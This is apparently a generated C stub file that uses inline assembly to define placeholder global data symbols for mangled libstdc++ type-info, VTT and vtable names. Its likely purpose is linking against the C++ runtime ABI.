__asm__(".globl _ZTSSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTSSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTSSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE, 50; _ZTSSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt21__ctype_abstract_baseIcE; .pushsection .data; .type _ZTSSt21__ctype_abstract_baseIcE,@object; .size _ZTSSt21__ctype_abstract_baseIcE, 29; _ZTSSt21__ctype_abstract_baseIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt21__ctype_abstract_baseIwE; .pushsection .data; .type _ZTSSt21__ctype_abstract_baseIwE,@object; .size _ZTSSt21__ctype_abstract_baseIwE, 29; _ZTSSt21__ctype_abstract_baseIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt23__codecvt_abstract_baseIcc11__mbstate_tE; .pushsection .data; .type _ZTSSt23__codecvt_abstract_baseIcc11__mbstate_tE,@object; .size _ZTSSt23__codecvt_abstract_baseIcc11__mbstate_tE, 45; _ZTSSt23__codecvt_abstract_baseIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt23__codecvt_abstract_baseIwc11__mbstate_tE; .pushsection .data; .type _ZTSSt23__codecvt_abstract_baseIwc11__mbstate_tE,@object; .size _ZTSSt23__codecvt_abstract_baseIwc11__mbstate_tE, 45; _ZTSSt23__codecvt_abstract_baseIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt5ctypeIcE; .pushsection .data; .type _ZTSSt5ctypeIcE,@object; .size _ZTSSt5ctypeIcE, 12; _ZTSSt5ctypeIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt5ctypeIwE; .pushsection .data; .type _ZTSSt5ctypeIwE,@object; .size _ZTSSt5ctypeIwE, 12; _ZTSSt5ctypeIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt7codecvtIcc11__mbstate_tE; .pushsection .data; .type _ZTSSt7codecvtIcc11__mbstate_tE,@object; .size _ZTSSt7codecvtIcc11__mbstate_tE, 28; _ZTSSt7codecvtIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt7codecvtIwc11__mbstate_tE; .pushsection .data; .type _ZTSSt7codecvtIwc11__mbstate_tE,@object; .size _ZTSSt7codecvtIwc11__mbstate_tE, 28; _ZTSSt7codecvtIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt7collateIcE; .pushsection .data; .type _ZTSSt7collateIcE,@object; .size _ZTSSt7collateIcE, 14; _ZTSSt7collateIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt7collateIwE; .pushsection .data; .type _ZTSSt7collateIwE,@object; .size _ZTSSt7collateIwE, 14; _ZTSSt7collateIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 58; _ZTSSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 58; _ZTSSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 58; _ZTSSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 58; _ZTSSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt8bad_cast; .pushsection .data; .type _ZTSSt8bad_cast,@object; .size _ZTSSt8bad_cast, 12; _ZTSSt8bad_cast: .long 0; .popsection");
__asm__(".globl _ZTSSt8ios_base; .pushsection .data; .type _ZTSSt8ios_base,@object; .size _ZTSSt8ios_base, 12; _ZTSSt8ios_base: .long 0; .popsection");
__asm__(".globl _ZTSSt8messagesIcE; .pushsection .data; .type _ZTSSt8messagesIcE,@object; .size _ZTSSt8messagesIcE, 15; _ZTSSt8messagesIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt8messagesIwE; .pushsection .data; .type _ZTSSt8messagesIwE,@object; .size _ZTSSt8messagesIwE, 15; _ZTSSt8messagesIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt8numpunctIcE; .pushsection .data; .type _ZTSSt8numpunctIcE,@object; .size _ZTSSt8numpunctIcE, 15; _ZTSSt8numpunctIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt8numpunctIwE; .pushsection .data; .type _ZTSSt8numpunctIwE,@object; .size _ZTSSt8numpunctIwE, 15; _ZTSSt8numpunctIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 59; _ZTSSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 59; _ZTSSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 59; _ZTSSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 59; _ZTSSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9bad_alloc; .pushsection .data; .type _ZTSSt9bad_alloc,@object; .size _ZTSSt9bad_alloc, 13; _ZTSSt9bad_alloc: .long 0; .popsection");
__asm__(".globl _ZTSSt9basic_iosIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt9basic_iosIcSt11char_traitsIcEE,@object; .size _ZTSSt9basic_iosIcSt11char_traitsIcEE, 34; _ZTSSt9basic_iosIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9basic_iosIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt9basic_iosIwSt11char_traitsIwEE,@object; .size _ZTSSt9basic_iosIwSt11char_traitsIwEE, 34; _ZTSSt9basic_iosIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9exception; .pushsection .data; .type _ZTSSt9exception,@object; .size _ZTSSt9exception, 13; _ZTSSt9exception: .long 0; .popsection");
__asm__(".globl _ZTSSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 60; _ZTSSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 60; _ZTSSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 60; _ZTSSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 60; _ZTSSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt9time_base; .pushsection .data; .type _ZTSSt9time_base,@object; .size _ZTSSt9time_base, 13; _ZTSSt9time_base: .long 0; .popsection");
__asm__(".globl _ZTSSt9type_info; .pushsection .data; .type _ZTSSt9type_info,@object; .size _ZTSSt9type_info, 13; _ZTSSt9type_info: .long 0; .popsection");
__asm__(".globl _ZTSa; .pushsection .data; .type _ZTSa,@object; .size _ZTSa, 2; _ZTSa: .long 0; .popsection");
__asm__(".globl _ZTSb; .pushsection .data; .type _ZTSb,@object; .size _ZTSb, 2; _ZTSb: .long 0; .popsection");
__asm__(".globl _ZTSc; .pushsection .data; .type _ZTSc,@object; .size _ZTSc, 2; _ZTSc: .long 0; .popsection");
__asm__(".globl _ZTSd; .pushsection .data; .type _ZTSd,@object; .size _ZTSd, 2; _ZTSd: .long 0; .popsection");
__asm__(".globl _ZTSe; .pushsection .data; .type _ZTSe,@object; .size _ZTSe, 2; _ZTSe: .long 0; .popsection");
__asm__(".globl _ZTSf; .pushsection .data; .type _ZTSf,@object; .size _ZTSf, 2; _ZTSf: .long 0; .popsection");
__asm__(".globl _ZTSg; .pushsection .data; .type _ZTSg,@object; .size _ZTSg, 2; _ZTSg: .long 0; .popsection");
__asm__(".globl _ZTSh; .pushsection .data; .type _ZTSh,@object; .size _ZTSh, 2; _ZTSh: .long 0; .popsection");
__asm__(".globl _ZTSi; .pushsection .data; .type _ZTSi,@object; .size _ZTSi, 2; _ZTSi: .long 0; .popsection");
__asm__(".globl _ZTSj; .pushsection .data; .type _ZTSj,@object; .size _ZTSj, 2; _ZTSj: .long 0; .popsection");
__asm__(".globl _ZTSl; .pushsection .data; .type _ZTSl,@object; .size _ZTSl, 2; _ZTSl: .long 0; .popsection");
__asm__(".globl _ZTSm; .pushsection .data; .type _ZTSm,@object; .size _ZTSm, 2; _ZTSm: .long 0; .popsection");
__asm__(".globl _ZTSs; .pushsection .data; .type _ZTSs,@object; .size _ZTSs, 2; _ZTSs: .long 0; .popsection");
__asm__(".globl _ZTSt; .pushsection .data; .type _ZTSt,@object; .size _ZTSt, 2; _ZTSt: .long 0; .popsection");
__asm__(".globl _ZTSv; .pushsection .data; .type _ZTSv,@object; .size _ZTSv, 2; _ZTSv: .long 0; .popsection");
__asm__(".globl _ZTSw; .pushsection .data; .type _ZTSw,@object; .size _ZTSw, 2; _ZTSw: .long 0; .popsection");
__asm__(".globl _ZTSx; .pushsection .data; .type _ZTSx,@object; .size _ZTSx, 2; _ZTSx: .long 0; .popsection");
__asm__(".globl _ZTSy; .pushsection .data; .type _ZTSy,@object; .size _ZTSy, 2; _ZTSy: .long 0; .popsection");
__asm__(".globl _ZTTSd; .pushsection .data; .type _ZTTSd,@object; .size _ZTTSd, 28; _ZTTSd: .long 0; .popsection");
__asm__(".globl _ZTTSi; .pushsection .data; .type _ZTTSi,@object; .size _ZTTSi, 8; _ZTTSi: .long 0; .popsection");
__asm__(".globl _ZTTSo; .pushsection .data; .type _ZTTSo,@object; .size _ZTTSo, 8; _ZTTSo: .long 0; .popsection");
__asm__(".globl _ZTTSt13basic_fstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTTSt13basic_fstreamIcSt11char_traitsIcEE,@object; .size _ZTTSt13basic_fstreamIcSt11char_traitsIcEE, 40; _ZTTSt13basic_fstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt13basic_fstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt13basic_fstreamIwSt11char_traitsIwEE,@object; .size _ZTTSt13basic_fstreamIwSt11char_traitsIwEE, 40; _ZTTSt13basic_fstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt13basic_istreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt13basic_istreamIwSt11char_traitsIwEE,@object; .size _ZTTSt13basic_istreamIwSt11char_traitsIwEE, 8; _ZTTSt13basic_istreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt13basic_ostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt13basic_ostreamIwSt11char_traitsIwEE,@object; .size _ZTTSt13basic_ostreamIwSt11char_traitsIwEE, 8; _ZTTSt13basic_ostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE,@object; .size _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE, 16; _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt14basic_ifstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt14basic_ifstreamIwSt11char_traitsIwEE,@object; .size _ZTTSt14basic_ifstreamIwSt11char_traitsIwEE, 16; _ZTTSt14basic_ifstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt14basic_iostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt14basic_iostreamIwSt11char_traitsIwEE,@object; .size _ZTTSt14basic_iostreamIwSt11char_traitsIwEE, 28; _ZTTSt14basic_iostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt14basic_ofstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTTSt14basic_ofstreamIcSt11char_traitsIcEE,@object; .size _ZTTSt14basic_ofstreamIcSt11char_traitsIcEE, 16; _ZTTSt14basic_ofstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt14basic_ofstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTTSt14basic_ofstreamIwSt11char_traitsIwEE,@object; .size _ZTTSt14basic_ofstreamIwSt11char_traitsIwEE, 16; _ZTTSt14basic_ofstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt18basic_stringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTTSt18basic_stringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTTSt18basic_stringstreamIcSt11char_traitsIcESaIcEE, 40; _ZTTSt18basic_stringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt18basic_stringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTTSt18basic_stringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTTSt18basic_stringstreamIwSt11char_traitsIwESaIwEE, 40; _ZTTSt18basic_stringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt19basic_istringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTTSt19basic_istringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTTSt19basic_istringstreamIcSt11char_traitsIcESaIcEE, 16; _ZTTSt19basic_istringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt19basic_istringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTTSt19basic_istringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTTSt19basic_istringstreamIwSt11char_traitsIwESaIwEE, 16; _ZTTSt19basic_istringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTTSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTTSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTTSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE, 16; _ZTTSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTTSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTTSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTTSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE, 16; _ZTTSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv116__enum_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv116__enum_type_infoE,@object; .size _ZTVN10__cxxabiv116__enum_type_infoE, 32; _ZTVN10__cxxabiv116__enum_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv117__array_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv117__array_type_infoE,@object; .size _ZTVN10__cxxabiv117__array_type_infoE, 32; _ZTVN10__cxxabiv117__array_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv117__class_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv117__class_type_infoE,@object; .size _ZTVN10__cxxabiv117__class_type_infoE, 44; _ZTVN10__cxxabiv117__class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv117__pbase_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv117__pbase_type_infoE,@object; .size _ZTVN10__cxxabiv117__pbase_type_infoE, 36; _ZTVN10__cxxabiv117__pbase_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv119__pointer_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv119__pointer_type_infoE,@object; .size _ZTVN10__cxxabiv119__pointer_type_infoE, 36; _ZTVN10__cxxabiv119__pointer_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv120__function_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv120__function_type_infoE,@object; .size _ZTVN10__cxxabiv120__function_type_infoE, 32; _ZTVN10__cxxabiv120__function_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv120__si_class_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv120__si_class_type_infoE,@object; .size _ZTVN10__cxxabiv120__si_class_type_infoE, 44; _ZTVN10__cxxabiv120__si_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv121__vmi_class_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv121__vmi_class_type_infoE,@object; .size _ZTVN10__cxxabiv121__vmi_class_type_infoE, 44; _ZTVN10__cxxabiv121__vmi_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv123__fundamental_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv123__fundamental_type_infoE,@object; .size _ZTVN10__cxxabiv123__fundamental_type_infoE, 32; _ZTVN10__cxxabiv123__fundamental_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN10__cxxabiv129__pointer_to_member_type_infoE; .pushsection .data; .type _ZTVN10__cxxabiv129__pointer_to_member_type_infoE,@object; .size _ZTVN10__cxxabiv129__pointer_to_member_type_infoE, 36; _ZTVN10__cxxabiv129__pointer_to_member_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTVN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE,@object; .size _ZTVN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE, 64; _ZTVN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE,@object; .size _ZTVN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE, 64; _ZTVN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 64; _ZTVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 64; _ZTVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 52; _ZTVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 52; _ZTVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 28; _ZTVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 28; _ZTVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 28; _ZTVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 28; _ZTVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTVNSt6locale5facetE; .pushsection .data; .type _ZTVNSt6locale5facetE,@object; .size _ZTVNSt6locale5facetE, 16; _ZTVNSt6locale5facetE: .long 0; .popsection");
__asm__(".globl _ZTVNSt8ios_base7failureE; .pushsection .data; .type _ZTVNSt8ios_base7failureE,@object; .size _ZTVNSt8ios_base7failureE, 20; _ZTVNSt8ios_base7failureE: .long 0; .popsection");
__asm__(".globl _ZTVSd; .pushsection .data; .type _ZTVSd,@object; .size _ZTVSd, 60; _ZTVSd: .long 0; .popsection");
__asm__(".globl _ZTVSi; .pushsection .data; .type _ZTVSi,@object; .size _ZTVSi, 40; _ZTVSi: .long 0; .popsection");
__asm__(".globl _ZTVSo; .pushsection .data; .type _ZTVSo,@object; .size _ZTVSo, 40; _ZTVSo: .long 0; .popsection");
__asm__(".globl _ZTVSt10bad_typeid; .pushsection .data; .type _ZTVSt10bad_typeid,@object; .size _ZTVSt10bad_typeid, 20; _ZTVSt10bad_typeid: .long 0; .popsection");
__asm__(".globl _ZTVSt10moneypunctIcLb0EE; .pushsection .data; .type _ZTVSt10moneypunctIcLb0EE,@object; .size _ZTVSt10moneypunctIcLb0EE, 52; _ZTVSt10moneypunctIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTVSt10moneypunctIcLb1EE; .pushsection .data; .type _ZTVSt10moneypunctIcLb1EE,@object; .size _ZTVSt10moneypunctIcLb1EE, 52; _ZTVSt10moneypunctIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTVSt10moneypunctIwLb0EE; .pushsection .data; .type _ZTVSt10moneypunctIwLb0EE,@object; .size _ZTVSt10moneypunctIwLb0EE, 52; _ZTVSt10moneypunctIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTVSt10moneypunctIwLb1EE; .pushsection .data; .type _ZTVSt10moneypunctIwLb1EE,@object; .size _ZTVSt10moneypunctIwLb1EE, 52; _ZTVSt10moneypunctIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTVSt11__timepunctIcE; .pushsection .data; .type _ZTVSt11__timepunctIcE,@object; .size _ZTVSt11__timepunctIcE, 16; _ZTVSt11__timepunctIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt11__timepunctIwE; .pushsection .data; .type _ZTVSt11__timepunctIwE,@object; .size _ZTVSt11__timepunctIwE, 16; _ZTVSt11__timepunctIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt11logic_error; .pushsection .data; .type _ZTVSt11logic_error,@object; .size _ZTVSt11logic_error, 20; _ZTVSt11logic_error: .long 0; .popsection");
__asm__(".globl _ZTVSt11range_error; .pushsection .data; .type _ZTVSt11range_error,@object; .size _ZTVSt11range_error, 20; _ZTVSt11range_error: .long 0; .popsection");
__asm__(".globl _ZTVSt12ctype_bynameIcE; .pushsection .data; .type _ZTVSt12ctype_bynameIcE,@object; .size _ZTVSt12ctype_bynameIcE, 48; _ZTVSt12ctype_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt12ctype_bynameIwE; .pushsection .data; .type _ZTVSt12ctype_bynameIwE,@object; .size _ZTVSt12ctype_bynameIwE, 64; _ZTVSt12ctype_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt12domain_error; .pushsection .data; .type _ZTVSt12domain_error,@object; .size _ZTVSt12domain_error, 20; _ZTVSt12domain_error: .long 0; .popsection");
__asm__(".globl _ZTVSt12length_error; .pushsection .data; .type _ZTVSt12length_error,@object; .size _ZTVSt12length_error, 20; _ZTVSt12length_error: .long 0; .popsection");
__asm__(".globl _ZTVSt12out_of_range; .pushsection .data; .type _ZTVSt12out_of_range,@object; .size _ZTVSt12out_of_range, 20; _ZTVSt12out_of_range: .long 0; .popsection");
